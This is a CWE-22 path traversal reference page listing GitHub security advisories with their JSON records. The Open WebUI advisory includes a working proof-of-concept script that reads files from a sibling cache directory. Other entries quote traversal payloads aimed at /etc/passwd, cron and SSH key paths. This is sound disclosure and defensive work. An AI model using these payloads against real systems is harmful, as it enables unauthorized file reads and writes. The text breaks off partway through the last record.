Common Weakness Enumeration

CWE-22

Allowed-with-Review

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Abstraction: Base · Status: Stable

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

15153 vulnerabilities reference this CWE, most recent first.

GHSA-J282-VG3J-RC2J

Vulnerability from github – Published: 2023-01-28 00:30 – Updated: 2023-02-07 18:30
VLAI
Details

Italtel NetMatch-S CI 5.2.0-20211008 allows Absolute Path Traversal under NMSCI-WebGui/SaveFileUploader. An unauthenticated user can upload files to an arbitrary path. An attacker can change the uploadDir parameter in a POST request (not possible using the GUI) to an arbitrary directory. Because the application does not check in which directory a file will be uploaded, an attacker can perform a variety of attacks that can result in unauthorized access to the server.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-39812"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-27T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "Italtel NetMatch-S CI 5.2.0-20211008 allows Absolute Path Traversal under NMSCI-WebGui/SaveFileUploader. An unauthenticated user can upload files to an arbitrary path. An attacker can change the uploadDir parameter in a POST request (not possible using the GUI) to an arbitrary directory. Because the application does not check in which directory a file will be uploaded, an attacker can perform a variety of attacks that can result in unauthorized access to the server.",
  "id": "GHSA-j282-vg3j-rc2j",
  "modified": "2023-02-07T18:30:16Z",
  "published": "2023-01-28T00:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39812"
    },
    {
      "type": "WEB",
      "url": "https://www.gruppotim.it/it/footer/red-team.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J2C8-V969-8R5C

Vulnerability from github – Published: 2026-06-17 14:16 – Updated: 2026-07-20 21:05
VLAI
Summary
Open WebUI: Sibling-Prefix Path Traversal via /cache/{path}
Details

Summary

A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator.

The root cause is that serve_cache_file() in open_webui/main.py validates the resolved path with file_path.startswith(os.path.abspath(CACHE_DIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache_sibling, cache_backup, cached_models) to pass validation.

Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories.

Exploitation constraints

Constraint Detail
Auth required get_verified_user — any user with role user or admin
Scope Only sibling directories starting with cache (e.g. cache_backup, cached_models)
Deep traversal Blocked — ../../etc/passwd correctly fails the startswith check
Absolute paths Blocked — /etc/passwd correctly fails
Client normalization httpx/browsers normalize .. client-side — must use raw HTTP or ASGI to deliver payload

Vulnerability Details

Vulnerable function: serve_cache_file()

# open_webui/main.py, line 2907-2924
@app.get('/cache/{path:path}')
async def serve_cache_file(path: str, user=Depends(get_verified_user)):
    file_path = os.path.abspath(os.path.join(CACHE_DIR, path))
    # prevent path traversal
    if not file_path.startswith(os.path.abspath(CACHE_DIR)):   # ← BUG: no trailing os.sep
        raise HTTPException(status_code=404, detail='File not found')
    if not os.path.isfile(file_path):
        raise HTTPException(status_code=404, detail='File not found')
    return FileResponse(file_path, headers=headers)

The bypass

CACHE_DIR = "/data/cache"

# Attacker path: "../cache_sibling/secret.txt"
file_path = os.path.abspath(os.path.join("/data/cache", "../cache_sibling/secret.txt"))
# → "/data/cache_sibling/secret.txt"

"/data/cache_sibling/secret.txt".startswith("/data/cache")
# → True  ← BYPASS (because "cache_sibling" starts with "cache")

# Correct check would be:
"/data/cache_sibling/secret.txt".startswith("/data/cache/")
# → False  ← BLOCKED

Proof of Concept

Environment

Component Detail
open-webui 0.9.5 (pip installed)
Python 3.11
Import from open_webui.main import app (true import, real FastAPI app)
Method Raw ASGI request (bypasses httpx client-side .. normalization)

poc.py


import asyncio
import os
import shutil
import sys
import tempfile
TEMP_DATA = tempfile.mkdtemp(prefix="owui_poc_")
os.environ["DATA_DIR"] = TEMP_DATA
os.environ["WEBUI_SECRET_KEY"] = "poc_secret_key_12345"
os.environ["WEBUI_AUTH"] = "false"
CACHE_DIR = os.path.join(TEMP_DATA, "cache")
SIBLING_DIR = os.path.join(TEMP_DATA, "cache_sibling")
os.makedirs(CACHE_DIR, exist_ok=True)
os.makedirs(SIBLING_DIR, exist_ok=True)

SECRET_CONTENT = "STOLEN_FROM_SIBLING_DIR"
with open(os.path.join(SIBLING_DIR, "secret.txt"), "w") as f:
    f.write(SECRET_CONTENT)
with open(os.path.join(CACHE_DIR, "legit.txt"), "w") as f:
    f.write("legitimate_cache_file")
from open_webui.main import app
from open_webui.utils.auth import get_verified_user
class FakeUser:
    id = "poc"
    email = "poc@test"
    role = "user"

app.dependency_overrides[get_verified_user] = lambda: FakeUser()
async def raw_asgi_get(app, path):
    """Send a raw ASGI request without client-side path normalization."""
    scope = {
        "type": "http",
        "method": "GET",
        "path": path,
        "query_string": b"",
        "headers": [(b"host", b"localhost")],
        "root_path": "",
        "asgi": {"version": "3.0"},
    }
    response_started = False
    status_code = None
    body_parts = []

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        nonlocal response_started, status_code
        if message["type"] == "http.response.start":
            response_started = True
            status_code = message["status"]
        elif message["type"] == "http.response.body":
            body_parts.append(message.get("body", b""))

    await app(scope, receive, send)
    return status_code, b"".join(body_parts)


async def main():
    s1, b1 = await raw_asgi_get(app, "/cache/legit.txt")
    s2, b2 = await raw_asgi_get(app, "/cache/../cache_sibling/secret.txt")
    s3, b3 = await raw_asgi_get(app, "/cache/../../etc/passwd")

    baseline_ok = s1 == 200 and b"legitimate_cache_file" in b1
    exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2
    deep_blocked = s3 == 404

    print(f"package:     open_webui (pip installed)")
    print(f"version:     0.9.5")
    print(f"function:    serve_cache_file (GET /cache/{{path}})")
    print(f"sink:        main.py:2914  file_path.startswith(os.path.abspath(CACHE_DIR))")
    print(f"bypass:      startswith without trailing os.sep allows sibling-prefix match")
    print()
    print(f"CACHE_DIR:   {CACHE_DIR}")
    print(f"SIBLING:     {SIBLING_DIR}")
    print()
    print(f"[baseline] /cache/legit.txt            status={s1} body={b1[:40]!r}")
    print(f"[exploit]  /cache/../cache_sibling/secret.txt  status={s2} body={b2[:40]!r}")
    print(f"[control]  /cache/../../etc/passwd     status={s3} (should be 404)")
    print()
    print(f"result:      {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}")

    shutil.rmtree(TEMP_DATA, ignore_errors=True)
    sys.exit(0 if exploit_ok else 1)


if __name__ == "__main__":
    asyncio.run(main())

PoC output

image

Suggested Fix

if not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):
    raise HTTPException(status_code=404, detail='File not found')

Single character fix: append os.sep to the prefix in the startswith check.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54014"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:16:25Z",
    "nvd_published_at": "2026-06-23T18:18:06Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA path traversal vulnerability exists in open-webui\u0027s cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete `startswith` containment check that lacks a trailing path separator.\n\nThe root cause is that `serve_cache_file()` in `open_webui/main.py` validates the resolved path with `file_path.startswith(os.path.abspath(CACHE_DIR))` \u2014 without appending `os.sep`. This allows any path resolving to a sibling directory whose name begins with `cache` (e.g. `cache_sibling`, `cache_backup`, `cached_models`) to pass validation.\n\nDeep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed \u2014 limited to sibling-prefix directories.\n\n### Exploitation constraints\n\n| Constraint | Detail |\n|---|---|\n| Auth required | `get_verified_user` \u2014 any user with role `user` or `admin` |\n| Scope | Only sibling directories starting with `cache` (e.g. `cache_backup`, `cached_models`) |\n| Deep traversal | Blocked \u2014 `../../etc/passwd` correctly fails the startswith check |\n| Absolute paths | Blocked \u2014 `/etc/passwd` correctly fails |\n| Client normalization | httpx/browsers normalize `..` client-side \u2014 must use raw HTTP or ASGI to deliver payload |\n\n## Vulnerability Details\n\n### Vulnerable function: `serve_cache_file()`\n\n```python\n# open_webui/main.py, line 2907-2924\n@app.get(\u0027/cache/{path:path}\u0027)\nasync def serve_cache_file(path: str, user=Depends(get_verified_user)):\n    file_path = os.path.abspath(os.path.join(CACHE_DIR, path))\n    # prevent path traversal\n    if not file_path.startswith(os.path.abspath(CACHE_DIR)):   # \u2190 BUG: no trailing os.sep\n        raise HTTPException(status_code=404, detail=\u0027File not found\u0027)\n    if not os.path.isfile(file_path):\n        raise HTTPException(status_code=404, detail=\u0027File not found\u0027)\n    return FileResponse(file_path, headers=headers)\n```\n\n### The bypass\n\n```python\nCACHE_DIR = \"/data/cache\"\n\n# Attacker path: \"../cache_sibling/secret.txt\"\nfile_path = os.path.abspath(os.path.join(\"/data/cache\", \"../cache_sibling/secret.txt\"))\n# \u2192 \"/data/cache_sibling/secret.txt\"\n\n\"/data/cache_sibling/secret.txt\".startswith(\"/data/cache\")\n# \u2192 True  \u2190 BYPASS (because \"cache_sibling\" starts with \"cache\")\n\n# Correct check would be:\n\"/data/cache_sibling/secret.txt\".startswith(\"/data/cache/\")\n# \u2192 False  \u2190 BLOCKED\n```\n\n## Proof of Concept\n\n### Environment\n\n| Component | Detail |\n|-----------|--------|\n| open-webui | 0.9.5 (pip installed) |\n| Python | 3.11 |\n| Import | `from open_webui.main import app` (true import, real FastAPI app) |\n| Method | Raw ASGI request (bypasses httpx client-side `..` normalization) |\n\n### poc.py\n\n```python\n\nimport asyncio\nimport os\nimport shutil\nimport sys\nimport tempfile\nTEMP_DATA = tempfile.mkdtemp(prefix=\"owui_poc_\")\nos.environ[\"DATA_DIR\"] = TEMP_DATA\nos.environ[\"WEBUI_SECRET_KEY\"] = \"poc_secret_key_12345\"\nos.environ[\"WEBUI_AUTH\"] = \"false\"\nCACHE_DIR = os.path.join(TEMP_DATA, \"cache\")\nSIBLING_DIR = os.path.join(TEMP_DATA, \"cache_sibling\")\nos.makedirs(CACHE_DIR, exist_ok=True)\nos.makedirs(SIBLING_DIR, exist_ok=True)\n\nSECRET_CONTENT = \"STOLEN_FROM_SIBLING_DIR\"\nwith open(os.path.join(SIBLING_DIR, \"secret.txt\"), \"w\") as f:\n    f.write(SECRET_CONTENT)\nwith open(os.path.join(CACHE_DIR, \"legit.txt\"), \"w\") as f:\n    f.write(\"legitimate_cache_file\")\nfrom open_webui.main import app\nfrom open_webui.utils.auth import get_verified_user\nclass FakeUser:\n    id = \"poc\"\n    email = \"poc@test\"\n    role = \"user\"\n\napp.dependency_overrides[get_verified_user] = lambda: FakeUser()\nasync def raw_asgi_get(app, path):\n    \"\"\"Send a raw ASGI request without client-side path normalization.\"\"\"\n    scope = {\n        \"type\": \"http\",\n        \"method\": \"GET\",\n        \"path\": path,\n        \"query_string\": b\"\",\n        \"headers\": [(b\"host\", b\"localhost\")],\n        \"root_path\": \"\",\n        \"asgi\": {\"version\": \"3.0\"},\n    }\n    response_started = False\n    status_code = None\n    body_parts = []\n\n    async def receive():\n        return {\"type\": \"http.request\", \"body\": b\"\"}\n\n    async def send(message):\n        nonlocal response_started, status_code\n        if message[\"type\"] == \"http.response.start\":\n            response_started = True\n            status_code = message[\"status\"]\n        elif message[\"type\"] == \"http.response.body\":\n            body_parts.append(message.get(\"body\", b\"\"))\n\n    await app(scope, receive, send)\n    return status_code, b\"\".join(body_parts)\n\n\nasync def main():\n    s1, b1 = await raw_asgi_get(app, \"/cache/legit.txt\")\n    s2, b2 = await raw_asgi_get(app, \"/cache/../cache_sibling/secret.txt\")\n    s3, b3 = await raw_asgi_get(app, \"/cache/../../etc/passwd\")\n\n    baseline_ok = s1 == 200 and b\"legitimate_cache_file\" in b1\n    exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2\n    deep_blocked = s3 == 404\n\n    print(f\"package:     open_webui (pip installed)\")\n    print(f\"version:     0.9.5\")\n    print(f\"function:    serve_cache_file (GET /cache/{{path}})\")\n    print(f\"sink:        main.py:2914  file_path.startswith(os.path.abspath(CACHE_DIR))\")\n    print(f\"bypass:      startswith without trailing os.sep allows sibling-prefix match\")\n    print()\n    print(f\"CACHE_DIR:   {CACHE_DIR}\")\n    print(f\"SIBLING:     {SIBLING_DIR}\")\n    print()\n    print(f\"[baseline] /cache/legit.txt            status={s1} body={b1[:40]!r}\")\n    print(f\"[exploit]  /cache/../cache_sibling/secret.txt  status={s2} body={b2[:40]!r}\")\n    print(f\"[control]  /cache/../../etc/passwd     status={s3} (should be 404)\")\n    print()\n    print(f\"result:      {\u0027VULNERABLE\u0027 if exploit_ok and baseline_ok and deep_blocked else \u0027NOT CONFIRMED\u0027}\")\n\n    shutil.rmtree(TEMP_DATA, ignore_errors=True)\n    sys.exit(0 if exploit_ok else 1)\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n\n```\n\n### PoC output \n\n\u003cimg width=\"1392\" height=\"288\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2fbef163-9ef5-4ed5-aa53-a49bd9bf4713\" /\u003e\n\n\n## Suggested Fix\n\n```python\nif not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):\n    raise HTTPException(status_code=404, detail=\u0027File not found\u0027)\n```\n\nSingle character fix: append `os.sep` to the prefix in the `startswith` check.",
  "id": "GHSA-j2c8-v969-8r5c",
  "modified": "2026-07-20T21:05:21Z",
  "published": "2026-06-17T14:16:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-j2c8-v969-8r5c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54014"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-j2c8-v969-8r5c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2736.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Sibling-Prefix Path Traversal via /cache/{path}"
}

GHSA-J2CF-55J7-464R

Vulnerability from github – Published: 2022-05-24 19:09 – Updated: 2022-05-24 19:09
VLAI
Details

In NCH WebDictate v2.13 and earlier, authenticated users can abuse logprop?file=/.. path traversal to read files on the filesystem.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-37469"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-25T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In NCH WebDictate v2.13 and earlier, authenticated users can abuse logprop?file=/.. path traversal to read files on the filesystem.",
  "id": "GHSA-j2cf-55j7-464r",
  "modified": "2022-05-24T19:09:06Z",
  "published": "2022-05-24T19:09:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37469"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xfml/poc/blob/main/NCH/WebDictate_2.13_LFI.md"
    },
    {
      "type": "WEB",
      "url": "https://www.nch.com.au/webdictate/index.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-J2CV-J24W-C67W

Vulnerability from github – Published: 2022-05-01 23:55 – Updated: 2022-05-01 23:55
VLAI
Details

Directory traversal vulnerability in download.php in Academic Web Tools (AWT YEKTA) 1.4.3.1, and 1.4.2.8 and earlier, allows remote attackers to read arbitrary files via a .. (dot dot) in the dfile parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-2969"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-07-02T17:14:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in download.php in Academic Web Tools (AWT YEKTA) 1.4.3.1, and 1.4.2.8 and earlier, allows remote attackers to read arbitrary files via a .. (dot dot) in the dfile parameter.",
  "id": "GHSA-j2cv-j24w-c67w",
  "modified": "2022-05-01T23:55:25Z",
  "published": "2022-05-01T23:55:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2969"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43175"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/3959"
    },
    {
      "type": "WEB",
      "url": "http://www.bugreport.ir/?/44"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/493472/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/29813"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-J2FC-J5QR-63JR

Vulnerability from github – Published: 2024-07-22 18:31 – Updated: 2024-08-01 15:32
VLAI
Details

Directory Traversal vulnerability in Punkbuster pbsv.d64 2.351, allows remote attackers to execute arbitrary code.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-24102"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-22T18:15:02Z",
    "severity": "HIGH"
  },
  "details": "Directory Traversal vulnerability in Punkbuster pbsv.d64 2.351, allows remote attackers to execute arbitrary code.",
  "id": "GHSA-j2fc-j5qr-63jr",
  "modified": "2024-08-01T15:32:06Z",
  "published": "2024-07-22T18:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24102"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/%40prizmant/hacking-punkbuster-e22e6cf2f36e"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J2G6-362Q-6QC6

Vulnerability from github – Published: 2026-08-20 17:26 – Updated: 2026-08-20 17:26
VLAI
Summary
Velero vulnerable to file path traversal when extracting from backup's tarball
Details

Impact

What kind of vulnerability is it? Who is impacted? If the attacker compromises the backup's object storage backend and uploads a malicious backup tarball including file names like the following: * ../../../tmp/escape_1 -> file created at /tmp/escape_1 * ../../../../../../../../tmp/escape_2 -> file created at /tmp/escape_2 * ../../../tmp/cron_poc -> would be /etc/cron.d/backdoor in real attack * ../../../tmp/ssh_poc -> would be ~/.ssh/authorized_keys * ../../../tmp/kubeconfig_poc -> would be ~/.kube/config

It's possible that extracting files from the tarball during restore can overwrite sensitive files in the Velero pod filesystem.

Patches

Has the problem been patched? What versions should users upgrade to?

By far, there is no patch yet. We are working on the main branch, then cherry-pick to the release-1.18 for v1.18.1 patch.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

There is no workaround, but the good news is that keeping your OSS safe will prevent the vulnerability.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/vmware-tanzu/velero"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32637"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-20T17:26:07Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\nIf the attacker compromises the backup\u0027s object storage backend and uploads a malicious backup tarball including file names like the following:\n* ../../../tmp/escape_1              -\u003e file created at /tmp/escape_1\n* ../../../../../../../../tmp/escape_2 -\u003e file created at /tmp/escape_2\n* ../../../tmp/cron_poc              -\u003e would be /etc/cron.d/backdoor in real attack\n* ../../../tmp/ssh_poc               -\u003e would be ~/.ssh/authorized_keys\n* ../../../tmp/kubeconfig_poc        -\u003e would be ~/.kube/config\n\nIt\u0027s possible that extracting files from the tarball during restore can overwrite sensitive files in the Velero pod filesystem. \n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nBy far, there is no patch yet.\nWe are working on the main branch, then cherry-pick to the release-1.18 for v1.18.1 patch.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nThere is no workaround, but the good news is that keeping your OSS safe will prevent the vulnerability.",
  "id": "GHSA-j2g6-362q-6qc6",
  "modified": "2026-08-20T17:26:08Z",
  "published": "2026-08-20T17:26:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/velero-io/velero/security/advisories/GHSA-j2g6-362q-6qc6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/securego/gosec/issues/324"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/velero-io/velero"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Velero vulnerable to file path traversal when extracting from backup\u0027s tarball"
}

GHSA-J2G7-5PHJ-JR4V

Vulnerability from github – Published: 2025-12-15 03:30 – Updated: 2025-12-15 03:30
VLAI
Details

A weakness has been identified in atlaszz AI Photo Team Galleryit App 1.3.8.2 on Android. This affects an unknown part of the component gallery.photogallery.pictures.vault.album. This manipulation causes path traversal. The attack needs to be launched locally. The exploit has been made available to the public and could be exploited. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-14698"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-15T03:15:44Z",
    "severity": "MODERATE"
  },
  "details": "A weakness has been identified in atlaszz AI Photo Team Galleryit App 1.3.8.2 on Android. This affects an unknown part of the component gallery.photogallery.pictures.vault.album. This manipulation causes path traversal. The attack needs to be launched locally. The exploit has been made available to the public and could be exploited. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-j2g7-5phj-jr4v",
  "modified": "2025-12-15T03:30:18Z",
  "published": "2025-12-15T03:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14698"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Secsys-FDU/AF_CVEs/issues/2"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.336416"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.336416"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.706213"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J2GW-R24M-J2QW

Vulnerability from github – Published: 2025-02-05 06:30 – Updated: 2025-02-05 21:26
VLAI
Summary
Browsershot Path Traversal
Details

Versions of the package spatie/browsershot before 5.0.5 are vulnerable to Improper Input Validation in the setHtml function, invoked by Browsershot::html(), which can be bypassed by omitting the slashes in the file URI (e.g., file:../../../../etc/passwd). This is due to missing validations of the user input that should be blocking file URI schemes (e.g., file:// and file:/) in the HTML content.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "spatie/browsershot"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-1022"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-05T21:26:43Z",
    "nvd_published_at": "2025-02-05T05:15:10Z",
    "severity": "HIGH"
  },
  "details": "Versions of the package spatie/browsershot before 5.0.5 are vulnerable to Improper Input Validation in the setHtml function, invoked by Browsershot::html(), which can be bypassed by omitting the slashes in the file URI (e.g., file:../../../../etc/passwd). This is due to missing validations of the user input that should be blocking file URI schemes (e.g., file:// and file:/) in the HTML content.",
  "id": "GHSA-j2gw-r24m-j2qw",
  "modified": "2025-02-05T21:26:43Z",
  "published": "2025-02-05T06:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1022"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spatie/browsershot/commit/bcfd608b264fab654bf78e199bdfbb03e9323eb7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spatie/browsershot/commit/e3273974506865a24fbb5b65b534d8d4b8dfbf72"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/mrdgef/a820837c530e09e1dd725e013e0d4341"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spatie/browsershot"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-PHP-SPATIEBROWSERSHOT-8496747"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Browsershot Path Traversal"
}

GHSA-J2H4-Q276-RG48

Vulnerability from github – Published: 2022-08-30 00:00 – Updated: 2022-09-02 00:01
VLAI
Details

Hitachi Kokusai Electric Inc ISnex HC-IP9100HD Version 1.07 and below allows attackers to perform a directory traversal via a crafted GET request to the endpoint /ptippage.cgi.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-37681"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-29T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "Hitachi Kokusai Electric Inc ISnex HC-IP9100HD Version 1.07 and below allows attackers to perform a directory traversal via a crafted GET request to the endpoint /ptippage.cgi.",
  "id": "GHSA-j2h4-q276-rg48",
  "modified": "2022-09-02T00:01:02Z",
  "published": "2022-08-30T00:00:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37681"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Nwqda/5efea18c9142c6a966d85c6be2c0c2b5"
    },
    {
      "type": "WEB",
      "url": "https://www.hitachi-kokusai.co.jp/global/en/products/camera/network/index.html"
    },
    {
      "type": "WEB",
      "url": "https://www.hitachi-kokusai.co.jp/global/en/products/info/vulnerable/hitachi-sec-2022-001/index.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J2HG-JG54-WQJ3

Vulnerability from github – Published: 2022-05-17 04:51 – Updated: 2022-05-17 04:51
VLAI
Details

Directory traversal vulnerability in Cisco Unified Communications Manager (CUCM) 5.x and 6.x before 6.1(5)SU2, 7.x before 7.1(5b)SU2, and 8.x before 8.0(3), and Cisco Unified Contact Center Express (aka Unified CCX or UCCX) and Cisco Unified IP Interactive Voice Response (Unified IP-IVR) before 6.0(1)SR1ES8, 7.0(x) before 7.0(2)ES1, 8.0(x) through 8.0(2)SU3, and 8.5(x) before 8.5(1)SU2, allows remote attackers to read arbitrary files via a crafted URL, aka Bug IDs CSCth09343 and CSCts44049.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2011-3315"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-10-27T21:55:00Z",
